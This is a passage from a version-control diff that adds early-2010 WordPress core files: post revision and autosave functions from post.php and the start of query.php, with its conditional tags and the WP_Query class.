$old_status Previous post status + * @param object $post Object type containing the post information + */ +function _transition_post_status($new_status, $old_status, $post) { + global $wpdb; + + if ( $old_status != 'publish' && $new_status == 'publish' ) { + // Reset GUID if transitioning to publish and it is empty + if ( '' == get_the_guid($post->ID) ) + $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) ); + do_action('private_to_published', $post->ID); // Deprecated, use private_to_publish + } + + // Always clears the hook in case the post status bounced from future to draft. + wp_clear_scheduled_hook('publish_future_post', $post->ID); +} + +/** + * Hook used to schedule publication for a post marked for the future. + * + * The $post properties used and must exist are 'ID' and 'post_date_gmt'. + * + * @since 2.3.0 + * @access private + * + * @param int $deprecated Not Used. Can be set to null. + * @param object $post Object type containing the post information + */ +function _future_post_hook($deprecated = '', $post) { + wp_clear_scheduled_hook( 'publish_future_post', $post->ID ); + wp_schedule_single_event(strtotime($post->post_date_gmt. ' GMT'), 'publish_future_post', array($post->ID)); +} + +/** + * Hook to schedule pings and enclosures when a post is published. + * + * @since 2.3.0 + * @access private + * @uses $wpdb + * @uses XMLRPC_REQUEST and APP_REQUEST constants. + * @uses do_action() Calls 'xmlprc_publish_post' on post ID if XMLRPC_REQUEST is defined. + * @uses do_action() Calls 'app_publish_post' on post ID if APP_REQUEST is defined. + * + * @param int $post_id The ID in the database table of the post being published + */ +function _publish_post_hook($post_id) { + global $wpdb; + + if ( defined('XMLRPC_REQUEST') ) + do_action('xmlrpc_publish_post', $post_id); + if ( defined('APP_REQUEST') ) + do_action('app_publish_post', $post_id); + + if ( defined('WP_IMPORTING') ) + return; + + $data = array( 'post_id' => $post_id, 'meta_value' => '1' ); + if ( get_option('default_pingback_flag') ) { + $wpdb->insert( $wpdb->postmeta, $data + array( 'meta_key' => '_pingme' ) ); + do_action( 'added_postmeta', $wpdb->insert_id, $post_id, '_pingme', 1 ); + } + $wpdb->insert( $wpdb->postmeta, $data + array( 'meta_key' => '_encloseme' ) ); + do_action( 'added_postmeta', $wpdb->insert_id, $post_id, '_encloseme', 1 ); + + wp_schedule_single_event(time(), 'do_pings'); +} + +/** + * Hook used to prevent page/post cache and rewrite rules from staying dirty. + * + * Does two things. If the post is a page and has a template then it will + * update/add that template to the meta. For both pages and posts, it will clean + * the post cache to make sure that the cache updates to the changes done + * recently. For pages, the rewrite rules of WordPress are flushed to allow for + * any changes. + * + * The $post parameter, only uses 'post_type' property and 'page_template' + * property. + * + * @since 2.3.0 + * @access private + * @uses $wp_rewrite Flushes Rewrite Rules. + * + * @param int $post_id The ID in the database table for the $post + * @param object $post Object type containing the post information + */ +function _save_post_hook($post_id, $post) { + if ( $post->post_type == 'page' ) { + clean_page_cache($post_id); + // Avoid flushing rules for every post during import. + if ( !defined('WP_IMPORTING') ) { + global $wp_rewrite; + $wp_rewrite->flush_rules(false); + } + } else { + clean_post_cache($post_id); + } +} + +/** + * Retrieve post ancestors and append to post ancestors property. + * + * Will only retrieve ancestors once, if property is already set, then nothing + * will be done. If there is not a parent post, or post ID and post parent ID + * are the same then nothing will be done. + * + * The parameter is passed by reference, so nothing needs to be returned. The + * property will be updated and can be referenced after the function is + * complete. The post parent will be an ancestor and the parent of the post + * parent will be an ancestor. There will only be two ancestors at the most. + * + * @since unknown + * @access private + * @uses $wpdb + * + * @param object $_post Post data. + * @return null When nothing needs to be done. + */ +function _get_post_ancestors(&$_post) { + global $wpdb; + + if ( isset($_post->ancestors) ) + return; + + $_post->ancestors = array(); + + if ( empty($_post->post_parent) || $_post->ID == $_post->post_parent ) + return; + + $id = $_post->ancestors[] = $_post->post_parent; + while ( $ancestor = $wpdb->get_var( $wpdb->prepare("SELECT `post_parent` FROM $wpdb->posts WHERE ID = %d LIMIT 1", $id) ) ) { + if ( $id == $ancestor ) + break; + $id = $_post->ancestors[] = $ancestor; + } +} + +/** + * Determines which fields of posts are to be saved in revisions. + * + * Does two things. If passed a post *array*, it will return a post array ready + * to be insterted into the posts table as a post revision. Otherwise, returns + * an array whose keys are the post fields to be saved for post revisions. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * @access private + * @uses apply_filters() Calls '_wp_post_revision_fields' on 'title', 'content' and 'excerpt' fields. + * + * @param array $post Optional a post array to be processed for insertion as a post revision. + * @param bool $autosave optional Is the revision an autosave? + * @return array Post array ready to be inserted as a post revision or array of fields that can be versioned. + */ +function _wp_post_revision_fields( $post = null, $autosave = false ) { + static $fields = false; + + if ( !$fields ) { + // Allow these to be versioned + $fields = array( + 'post_title' => __( 'Title' ), + 'post_content' => __( 'Content' ), + 'post_excerpt' => __( 'Excerpt' ), + ); + + // Runs only once + $fields = apply_filters( '_wp_post_revision_fields', $fields ); + + // WP uses these internally either in versioning or elsewhere - they cannot be versioned + foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) + unset( $fields[$protect] ); + } + + if ( !is_array($post) ) + return $fields; + + $return = array(); + foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) + $return[$field] = $post[$field]; + + $return['post_parent'] = $post['ID']; + $return['post_status'] = 'inherit'; + $return['post_type'] = 'revision'; + $return['post_name'] = $autosave ? "$post[ID]-autosave" : "$post[ID]-revision"; + $return['post_date'] = isset($post['post_modified']) ? $post['post_modified'] : ''; + $return['post_date_gmt'] = isset($post['post_modified_gmt']) ? $post['post_modified_gmt'] : ''; + + return $return; +} + +/** + * Saves an already existing post as a post revision. + * + * Typically used immediately prior to post updates. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses _wp_put_post_revision() + * + * @param int $post_id The ID of the post to save as a revision. + * @return mixed Null or 0 if error, new revision ID, if success. + */ +function wp_save_post_revision( $post_id ) { + // We do autosaves manually with wp_create_post_autosave() + if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) + return; + + // WP_POST_REVISIONS = 0, false + if ( !constant('WP_POST_REVISIONS') ) + return; + + if ( !$post = get_post( $post_id, ARRAY_A ) ) + return; + + if ( !in_array( $post['post_type'], array( 'post', 'page' ) ) ) + return; + + $return = _wp_put_post_revision( $post ); + + // WP_POST_REVISIONS = true (default), -1 + if ( !is_numeric( WP_POST_REVISIONS ) || WP_POST_REVISIONS < 0 ) + return $return; + + // all revisions and (possibly) one autosave + $revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) ); + + // WP_POST_REVISIONS = (int) (# of autasaves to save) + $delete = count($revisions) - WP_POST_REVISIONS; + + if ( $delete < 1 ) + return $return; + + $revisions = array_slice( $revisions, 0, $delete ); + + for ( $i = 0; isset($revisions[$i]); $i++ ) { + if ( false !== strpos( $revisions[$i]->post_name, 'autosave' ) ) + continue; + wp_delete_post_revision( $revisions[$i]->ID ); + } + + return $return; +} + +/** + * Retrieve the autosaved data of the specified post. + * + * Returns a post object containing the information that was autosaved for the + * specified post. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @param int $post_id The post ID. + * @return object|bool The autosaved data or false on failure or when no autosave exists. + */ +function wp_get_post_autosave( $post_id ) { + + if ( !$post = get_post( $post_id ) ) + return false; + + $q = array( + 'name' => "{$post->ID}-autosave", + 'post_parent' => $post->ID, + 'post_type' => 'revision', + 'post_status' => 'inherit' + ); + + // Use WP_Query so that the result gets cached + $autosave_query = new WP_Query; + + add_action( 'parse_query', '_wp_get_post_autosave_hack' ); + $autosave = $autosave_query->query( $q ); + remove_action( 'parse_query', '_wp_get_post_autosave_hack' ); + + if ( $autosave && is_array($autosave) && is_object($autosave[0]) ) + return $autosave[0]; + + return false; +} + +/** + * Internally used to hack WP_Query into submission. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @param object $query WP_Query object + */ +function _wp_get_post_autosave_hack( $query ) { + $query->is_single = false; +} + +/** + * Determines if the specified post is a revision. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @param int|object $post Post ID or post object. + * @return bool|int False if not a revision, ID of revision's parent otherwise. + */ +function wp_is_post_revision( $post ) { + if ( !$post = wp_get_post_revision( $post ) ) + return false; + return (int) $post->post_parent; +} + +/** + * Determines if the specified post is an autosave. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @param int|object $post Post ID or post object. + * @return bool|int False if not a revision, ID of autosave's parent otherwise + */ +function wp_is_post_autosave( $post ) { + if ( !$post = wp_get_post_revision( $post ) ) + return false; + if ( "{$post->post_parent}-autosave" !== $post->post_name ) + return false; + return (int) $post->post_parent; +} + +/** + * Inserts post data into the posts table as a post revision. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses wp_insert_post() + * + * @param int|object|array $post Post ID, post object OR post array. + * @param bool $autosave Optional. Is the revision an autosave? + * @return mixed Null or 0 if error, new revision ID if success. + */ +function _wp_put_post_revision( $post = null, $autosave = false ) { + if ( is_object($post) ) + $post = get_object_vars( $post ); + elseif ( !is_array($post) ) + $post = get_post($post, ARRAY_A); + if ( !$post || empty($post['ID']) ) + return; + + if ( isset($post['post_type']) && 'revision' == $post['post_type'] ) + return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) ); + + $post = _wp_post_revision_fields( $post, $autosave ); + $post = add_magic_quotes($post); //since data is from db + + $revision_id = wp_insert_post( $post ); + if ( is_wp_error($revision_id) ) + return $revision_id; + + if ( $revision_id ) + do_action( '_wp_put_post_revision', $revision_id ); + return $revision_id; +} + +/** + * Gets a post revision. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses get_post() + * + * @param int|object $post Post ID or post object + * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N. + * @param string $filter Optional sanitation filter. @see sanitize_post() + * @return mixed Null if error or post object if success + */ +function &wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') { + $null = null; + if ( !$revision = get_post( $post, OBJECT, $filter ) ) + return $revision; + if ( 'revision' !== $revision->post_type ) + return $null; + + if ( $output == OBJECT ) { + return $revision; + } elseif ( $output == ARRAY_A ) { + $_revision = get_object_vars($revision); + return $_revision; + } elseif ( $output == ARRAY_N ) { + $_revision = array_values(get_object_vars($revision)); + return $_revision; + } + + return $revision; +} + +/** + * Restores a post to the specified revision. + * + * Can restore a past revision using all fields of the post revision, or only selected fields. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses wp_get_post_revision() + * @uses wp_update_post() + * @uses do_action() Calls 'wp_restore_post_revision' on post ID and revision ID if wp_update_post() + * is successful. + * + * @param int|object $revision_id Revision ID or revision object. + * @param array $fields Optional. What fields to restore from. Defaults to all. + * @return mixed Null if error, false if no fields to restore, (int) post ID if success. + */ +function wp_restore_post_revision( $revision_id, $fields = null ) { + if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) ) + return $revision; + + if ( !is_array( $fields ) ) + $fields = array_keys( _wp_post_revision_fields() ); + + $update = array(); + foreach( array_intersect( array_keys( $revision ), $fields ) as $field ) + $update[$field] = $revision[$field]; + + if ( !$update ) + return false; + + $update['ID'] = $revision['post_parent']; + + $update = add_magic_quotes( $update ); //since data is from db + + $post_id = wp_update_post( $update ); + if ( is_wp_error( $post_id ) ) + return $post_id; + + if ( $post_id ) + do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] ); + + return $post_id; +} + +/** + * Deletes a revision. + * + * Deletes the row from the posts table corresponding to the specified revision. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses wp_get_post_revision() + * @uses wp_delete_post() + * + * @param int|object $revision_id Revision ID or revision object. + * @param array $fields Optional. What fields to restore from. Defaults to all. + * @return mixed Null if error, false if no fields to restore, (int) post ID if success. + */ +function wp_delete_post_revision( $revision_id ) { + if ( !$revision = wp_get_post_revision( $revision_id ) ) + return $revision; + + $delete = wp_delete_post( $revision->ID ); + if ( is_wp_error( $delete ) ) + return $delete; + + if ( $delete ) + do_action( 'wp_delete_post_revision', $revision->ID, $revision ); + + return $delete; +} + +/** + * Returns all revisions of specified post. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses get_children() + * + * @param int|object $post_id Post ID or post object + * @return array empty if no revisions + */ +function wp_get_post_revisions( $post_id = 0, $args = null ) { + if ( !constant('WP_POST_REVISIONS') ) + return array(); + if ( ( !$post = get_post( $post_id ) ) || empty( $post->ID ) ) + return array(); + + $defaults = array( 'order' => 'DESC', 'orderby' => 'date' ); + $args = wp_parse_args( $args, $defaults ); + $args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) ); + + if ( !$revisions = get_children( $args ) ) + return array(); + return $revisions; +} + +function _set_preview($post) { + + if ( ! is_object($post) ) + return $post; + + $preview = wp_get_post_autosave($post->ID); + + if ( ! is_object($preview) ) + return $post; + + $preview = sanitize_post($preview); + + $post->post_content = $preview->post_content; + $post->post_title = $preview->post_title; + $post->post_excerpt = $preview->post_excerpt; + + return $post; +} + +function _show_post_preview() { + + if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) { + $id = (int) $_GET['preview_id']; + + if ( false == wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) + wp_die( __('You do not have permission to preview drafts.') ); + + add_filter('the_preview', '_set_preview'); + } +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/query.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/query.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,2710 @@ +get($var); +} + +/** + * Set query variable. + * + * @see WP_Query::set() + * @since 2.2.0 + * @uses $wp_query + * + * @param string $var Query variable key. + * @param mixed $value + * @return null + */ +function set_query_var($var, $value) { + global $wp_query; + + return $wp_query->set($var, $value); +} + +/** + * Setup The Loop with query parameters. + * + * This will override the current WordPress Loop and shouldn't be used more than + * once. This must not be used within the WordPress Loop. + * + * @since 1.5.0 + * @uses $wp_query + * + * @param string $query + * @return array List of posts + */ +function &query_posts($query) { + unset($GLOBALS['wp_query']); + $GLOBALS['wp_query'] =& new WP_Query(); + return $GLOBALS['wp_query']->query($query); +} + +/** + * Destroy the previous query and setup a new query. + * + * This should be used after {@link query_posts()} and before another {@link + * query_posts()}. This will remove obscure bugs that occur when the previous + * wp_query object is not destroyed properly before another is setup. + * + * @since 2.3.0 + * @uses $wp_query + */ +function wp_reset_query() { + unset($GLOBALS['wp_query']); + $GLOBALS['wp_query'] =& $GLOBALS['wp_the_query']; + global $wp_query; + if ( !empty($wp_query->post) ) { + $GLOBALS['post'] = $wp_query->post; + setup_postdata($wp_query->post); + } +} + +/* + * Query type checks. + */ + +/** + * Is query requesting an archive page. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool True if page is archive. + */ +function is_archive () { + global $wp_query; + + return $wp_query->is_archive; +} + +/** + * Is query requesting an attachment page. + * + * @since 2.0.0 + * @uses $wp_query + * + * @return bool True if page is attachment. + */ +function is_attachment () { + global $wp_query; + + return $wp_query->is_attachment; +} + +/** + * Is query requesting an author page. + * + * If the $author parameter is specified then the check will be expanded to + * include whether the queried author matches the one given in the parameter. + * You can match against integers and against strings. + * + * If matching against an integer, the ID should be used of the author for the + * test. If the $author is an ID and matches the author page user ID, then + * 'true' will be returned. + * + * If matching against strings, then the test will be matched against both the + * nickname and user nicename and will return true on success. + * + * @since 1.5.0 + * @uses $wp_query + * + * @param string|int $author Optional. Is current page this author. + * @return bool True if page is author or $author (if set). + */ +function is_author ($author = '') { + global $wp_query; + + if ( !$wp_query->is_author ) + return false; + + if ( empty($author) ) + return true; + + $author_obj = $wp_query->get_queried_object(); + + $author = (array) $author; + + if ( in_array( $author_obj->ID, $author ) ) + return true; + elseif ( in_array( $author_obj->nickname, $author ) ) + return true; + elseif ( in_array( $author_obj->user_nicename, $author ) ) + return true; + + return false; +} + +/** + * Whether current page query contains a category name or given category name. + * + * The category list can contain category IDs, names, or category slugs. If any + * of them are part of the query, then it will return true. + * + * @since 1.5.0 + * @uses $wp_query + * + * @param string|array $category Optional. + * @return bool + */ +function is_category ($category = '') { + global $wp_query; + + if ( !$wp_query->is_category ) + return false; + + if ( empty($category) ) + return true; + + $cat_obj = $wp_query->get_queried_object(); + + $category = (array) $category; + + if ( in_array( $cat_obj->term_id, $category ) ) + return true; + elseif ( in_array( $cat_obj->name, $category ) ) + return true; + elseif ( in_array( $cat_obj->slug, $category ) ) + return true; + + return false; +} + +/** + * Whether the current page query has the given tag slug or contains tag. + * + * @since 2.3.0 + * @uses $wp_query + * + * @param string|array $slug Optional. Single tag or list of tags to check for. + * @return bool + */ +function is_tag( $slug = '' ) { + global $wp_query; + + if ( !$wp_query->is_tag ) + return false; + + if ( empty( $slug ) ) + return true; + + $tag_obj = $wp_query->get_queried_object(); + + $slug = (array) $slug; + + if ( in_array( $tag_obj->slug, $slug ) ) + return true; + + return false; +} + +/** + * Whether the current page query has the given taxonomy slug or contains taxonomy. + * + * @since 2.5.0 + * @uses $wp_query + * + * @param string|array $slug Optional. Slug or slugs to check in current query. + * @return bool + */ +function is_tax( $slug = '' ) { + global $wp_query; + + if ( !$wp_query->is_tax ) + return false; + + if ( empty($slug) ) + return true; + + return in_array( get_query_var('taxonomy'), (array) $slug ); +} + +/** + * Whether the current URL is within the comments popup window. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_comments_popup () { + global $wp_query; + + return $wp_query->is_comments_popup; +} + +/** + * Whether current URL is based on a date. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_date () { + global $wp_query; + + return $wp_query->is_date; +} + +/** + * Whether current blog URL contains a day. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_day () { + global $wp_query; + + return $wp_query->is_day; +} + +/** + * Whether current page query is feed URL. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_feed () { + global $wp_query; + + return $wp_query->is_feed; +} + +/** + * Whether current page query is the front of the site. + * + * @since 2.5.0 + * @uses is_home() + * @uses get_option() + * + * @return bool True, if front of site. + */ +function is_front_page () { + // most likely case + if ( 'posts' == get_option('show_on_front') && is_home() ) + return true; + elseif ( 'page' == get_option('show_on_front') && get_option('page_on_front') && is_page(get_option('page_on_front')) ) + return true; + else + return false; +} + +/** + * Whether current page view is the blog homepage. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool True if blog view homepage. + */ +function is_home () { + global $wp_query; + + return $wp_query->is_home; +} + +/** + * Whether current page query contains a month. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_month () { + global $wp_query; + + return $wp_query->is_month; +} + +/** + * Whether query is page or contains given page(s). + * + * Calls the function without any parameters will only test whether the current + * query is of the page type. Either a list or a single item can be tested + * against for whether the query is a page and also is the value or one of the + * values in the page parameter. + * + * The parameter can contain the page ID, page title, or page name. The + * parameter can also be an array of those three values. + * + * @since 1.5.0 + * @uses $wp_query + * + * @param mixed $page Either page or list of pages to test against. + * @return bool + */ +function is_page ($page = '') { + global $wp_query; + + if ( !$wp_query->is_page ) + return false; + + if ( empty($page) ) + return true; + + $page_obj = $wp_query->get_queried_object(); + + $page = (array) $page; + + if ( in_array( $page_obj->ID, $page ) ) + return true; + elseif ( in_array( $page_obj->post_title, $page ) ) + return true; + else if ( in_array( $page_obj->post_name, $page ) ) + return true; + + return false; +} + +/** + * Whether query contains multiple pages for the results. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_paged () { + global $wp_query; + + return $wp_query->is_paged; +} + +/** + * Whether the current page was created by a plugin. + * + * The plugin can set this by using the global $plugin_page and setting it to + * true. + * + * @since 1.5.0 + * @global bool $plugin_page Used by plugins to tell the query that current is a plugin page. + * + * @return bool + */ +function is_plugin_page() { + global $plugin_page; + + if ( isset($plugin_page) ) + return true; + + return false; +} + +/** + * Whether the current query is preview of post or page. + * + * @since 2.0.0 + * @uses $wp_query + * + * @return bool + */ +function is_preview() { + global $wp_query; + + return $wp_query->is_preview; +} + +/** + * Whether the current query post is robots. + * + * @since 2.1.0 + * @uses $wp_query + * + * @return bool + */ +function is_robots() { + global $wp_query; + + return $wp_query->is_robots; +} + +/** + * Whether current query is the result of a user search. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_search () { + global $wp_query; + + return $wp_query->is_search; +} + +/** + * Whether the current page query is single page. + * + * The parameter can contain the post ID, post title, or post name. The + * parameter can also be an array of those three values. + * + * This applies to other post types, attachments, pages, posts. Just means that + * the current query has only a single object. + * + * @since 1.5.0 + * @uses $wp_query + * + * @param mixed $post Either post or list of posts to test against. + * @return bool + */ +function is_single ($post = '') { + global $wp_query; + + if ( !$wp_query->is_single ) + return false; + + if ( empty( $post) ) + return true; + + $post_obj = $wp_query->get_queried_object(); + + $post = (array) $post; + + if ( in_array( $post_obj->ID, $post ) ) + return true; + elseif ( in_array( $post_obj->post_title, $post ) ) + return true; + elseif ( in_array( $post_obj->post_name, $post ) ) + return true; + + return false; +} + +/** + * Whether is single post, is a page, or is an attachment. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_singular() { + global $wp_query; + + return $wp_query->is_singular; +} + +/** + * Whether the query contains a time. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_time () { + global $wp_query; + + return $wp_query->is_time; +} + +/** + * Whether the query is a trackback. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_trackback () { + global $wp_query; + + return $wp_query->is_trackback; +} + +/** + * Whether the query contains a year. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function is_year () { + global $wp_query; + + return $wp_query->is_year; +} + +/** + * Whether current page query is a 404 and no results for WordPress query. + * + * @since 1.5.0 + * @uses $wp_query + * + * @return bool True, if nothing is found matching WordPress Query. + */ +function is_404 () { + global $wp_query; + + return $wp_query->is_404; +} + +/* + * The Loop. Post loop control. + */ + +/** + * Whether current WordPress query has results to loop over. + * + * @see WP_Query::have_posts() + * @since 1.5.0 + * @uses $wp_query + * + * @return bool + */ +function have_posts() { + global $wp_query; + + return $wp_query->have_posts(); +} + +/** + * Whether the caller is in the Loop. + * + * @since 2.0.0 + * @uses $wp_query + * + * @return bool True if caller is within loop, false if loop hasn't started or ended. + */ +function in_the_loop() { + global $wp_query; + + return $wp_query->in_the_loop; +} + +/** + * Rewind the loop posts. + * + * @see WP_Query::rewind_posts() + * @since 1.5.0 + * @uses $wp_query + * + * @return null + */ +function rewind_posts() { + global $wp_query; + + return $wp_query->rewind_posts(); +} + +/** + * Iterate the post index in the loop. + * + * @see WP_Query::the_post() + * @since 1.5.0 + * @uses $wp_query + */ +function the_post() { + global $wp_query; + + $wp_query->the_post(); +} + +/* + * Comments loop. + */ + +/** + * Whether there are comments to loop over. + * + * @see WP_Query::have_comments() + * @since 2.2.0 + * @uses $wp_query + * + * @return bool + */ +function have_comments() { + global $wp_query; + return $wp_query->have_comments(); +} + +/** + * Iterate comment index in the comment loop. + * + * @see WP_Query::the_comment() + * @since 2.2.0 + * @uses $wp_query + * + * @return object + */ +function the_comment() { + global $wp_query; + return $wp_query->the_comment(); +} + +/* + * WP_Query + */ + +/** + * The WordPress Query class. + * + * @link http://codex.wordpress.org/Function_Reference/WP_Query Codex page. + * + * @since 1.5.0 + */ +class WP_Query { + + /** + * Query string + * + * @since 1.5.0 + * @access public + * @var string + */ + var $query; + + /** + * Query search variables set by the user. + * + * @since 1.5.0 + * @access public + * @var array + */ + var $query_vars = array(); + + /** + * Holds the data for a single object that is queried. + * + * Holds the contents of a post, page, category, attachment. + * + * @since 1.5.0 + * @access public + * @var object|array + */ + var $queried_object; + + /** + * The ID of the queried object. + * + * @since 1.5.0 + * @access public + * @var int + */ + var $queried_object_id; + + /** + * Get post database query. + * + * @since 2.0.1 + * @access public + * @var string + */ + var $request; + + /** + * List of posts. + * + * @since 1.5.0 + * @access public + * @var array + */ + var $posts; + + /** + * The amount of posts for the current query. + * + * @since 1.5.0 + * @access public + * @var int + */ + var $post_count = 0; + + /** + * Index of the current item in the loop. + * + * @since 1.5.0 + * @access public + * @var int + */ + var $current_post = -1; + + /** + * Whether the loop has started and the caller is in the loop. + * + * @since 2.0.0 + * @access public + * @var bool + */ + var $in_the_loop = false; + + /** + * The current post ID. + * + * @since 1.5.0 + * @access public + * @var int + */ + var $post; + + /** + * The list of comments for current post. + * + * @since 2.2.0 + * @access public + * @var array + */ + var $comments; + + /** + * The amount of comments for the posts. + * + * @since 2.2.0 + * @access public + * @var int + */ + var $comment_count = 0; + + /** + * The index of the comment in the comment loop. + * + * @since 2.2.0 + * @access public + * @var int + */ + var $current_comment = -1; + + /** + * Current comment ID. + * + * @since 2.2.0 + * @access public + * @var int + */ + var $comment; + + /** + * Amount of posts if limit clause was not used. + * + * @since 2.1.0 + * @access public + * @var int + */ + var $found_posts = 0; + + /** + * The amount of pages. + * + * @since 2.1.0 + * @access public + * @var int + */ + var $max_num_pages = 0; + + /** + * The amount of comment pages. + * + * @since 2.7.0 + * @access public + * @var int + */ + var $max_num_comment_pages = 0; + + /** + * Set if query is single post. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_single = false; + + /** + * Set if query is preview of blog. + * + * @since 2.0.0 + * @access public + * @var bool + */ + var $is_preview = false; + + /** + * Set if query returns a page. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_page = false; + + /** + * Set if query is an archive list. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_archive = false; + + /** + * Set if query is part of a date. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_date = false; + + /** + * Set if query contains a year. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_year = false; + + /** + * Set if query contains a month. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_month = false; + + /** + * Set if query contains a day. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_day = false; + + /** + * Set if query contains time. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_time = false; + + /** + * Set if query contains an author. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_author = false; + + /** + * Set if query contains category. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_category = false; + + /** + * Set if query contains tag. + * + * @since 2.3.0 + * @access public + * @var bool + */ + var $is_tag = false; + + /** + * Set if query contains taxonomy. + * + * @since 2.5.0 + * @access public + * @var bool + */ + var $is_tax = false; + + /** + * Set if query was part of a search result. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_search = false; + + /** + * Set if query is feed display. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_feed = false; + + /** + * Set if query is comment feed display. + * + * @since 2.2.0 + * @access public + * @var bool + */ + var $is_comment_feed = false; + + /** + * Set if query is trackback. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_trackback = false; + + /** + * Set if query is blog homepage. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_home = false; + + /** + * Set if query couldn't found anything. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_404 = false; + + /** + * Set if query is within comments popup window. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_comments_popup = false; + + /** + * Set if query is part of administration page. + * + * @since 1.5.0 + * @access public + * @var bool + */ + var $is_admin = false; + + /** + * Set if query is an attachment. + * + * @since 2.0.0 + * @access public + * @var bool + */ + var $is_attachment = false; + + /** + * Set if is single, is a page, or is an attachment. + * + * @since 2.1.0 + * @access public + * @var bool + */ + var $is_singular = false; + + /** + * Set if query is for robots. + * + * @since 2.1.0 + * @access public + * @var bool + */ + var $is_robots = false; + + /** + * Set if query contains posts. + * + * Basically, the homepage if the option isn't set for the static homepage. + * + * @since 2.1.0 + * @access public + * @var bool + */ + var $is_posts_page = false; + + /** + * Resets query flags to false. + * + * The query flags are what page info WordPress was able to figure out. + * + * @since 2.0.0 + * @access private + */ + function init_query_flags() { + $this->is_single = false; + $this->is_page = false; + $this->is_archive = false; + $this->is_date = false; + $this->is_year = false; + $this->is_month = false; + $this->is_day = false; + $this->is_time = false; + $this->is_author = false; + $this->is_category = false; + $this->is_tag = false; + $this->is_tax = false; + $this->is_search = false; + $this->is_feed = false; + $this->is_comment_feed = false; + $this->is_trackback = false; + $this->is_home = false; + $this->is_404 = false; + $this->is_paged = false; + $this->is_admin = false; + $this->is_attachment = false; + $this->is_singular = false; + $this->is_robots = false; + $this->is_posts_page = false; + } + + /** + * Initiates object properties and sets default values. + * + * @since 1.5.0 + * @access public + */ + function init () { + unset($this->posts); + unset($this->query); + $this->query_vars = array(); + unset($this->queried_object); + unset($this->queried_object_id); + $this->post_count = 0; + $this->current_post = -1; + $this->in_the_loop = false; + + $this->init_query_flags(); + } + + /** + * Reparse the query vars. + * + * @since 1.5.0 + * @access public + */ + function parse_query_vars() { + $this->parse_query(''); + } + + /** + * Fills in the query variables, which do not exist within the parameter. + * + * @since 2.1.0 + * @access public + * + * @param array $array Defined query variables. + * @return array Complete query variables with undefined ones filled in empty. + */ + function fill_query_vars($array) { + $keys = array( + 'error' + , 'm' + , 'p' + , 'post_parent' + , 'subpost' + , 'subpost_id' + , 'attachment' + , 'attachment_id' + , 'name' + , 'hour' + , 'static' + , 'pagename' + , 'page_id' + , 'second' + , 'minute' + , 'hour' + , 'day' + , 'monthnum' + , 'year' + , 'w' + , 'category_name' + , 'tag' + , 'cat' + , 'tag_id' + , 'author_name' + , 'feed' + , 'tb' + , 'paged' + , 'comments_popup' + , 'meta_key' + , 'meta_value' + , 'preview' + ); + + foreach ($keys as $key) { + if ( !isset($array[$key])) + $array[$key] = ''; + } + + $array_keys = array('category__in', 'category__not_in', 